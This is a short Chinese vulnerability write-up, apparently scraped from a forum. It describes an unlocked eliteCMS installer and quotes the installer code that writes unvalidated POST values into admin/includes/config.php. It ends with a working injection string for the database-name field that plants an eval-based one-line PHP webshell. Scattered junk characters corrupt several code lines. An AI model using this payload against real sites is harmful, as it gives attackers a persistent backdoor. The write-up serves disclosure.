eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

1 q- R  a) H+ o3 U6 N" {另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
* Z" N  A& C2 L$ }" i+ \6 o# U6 @    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
0 A/ m5 G6 S" T' c    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
8 y5 D" U' ]$ o9 V/ `...略...
    $write .= "*\n";
    $write .= "*/\n";
" \: T$ V( J9 h) y3 A    $write .= "\n";
. T" k9 f5 ]4 G. G% B( ^& }* V# q    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
; ?2 u* c5 F! R! J  a    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
, X1 _+ h: l5 V; u! p; D    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
% _; A6 K9 h: E    $write .= "} \n";
, \9 f. A9 |$ f( \2 t, _+ J    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
1 @2 y  f2 N* `$ l- r* E- f" Q    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
5 u) U# W: [1 n$ N* @# O    $write .= "} \n";
    $write .= "?>\n";
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    $writer = fopen($file, 'w');
& E: V( M# a( f% t! X& L& b: f...
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在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, E  h9 Q& C0 l% w$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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2 T: b) X- m# R& E取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
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将导致一句话后门写入/admin/includes/config.php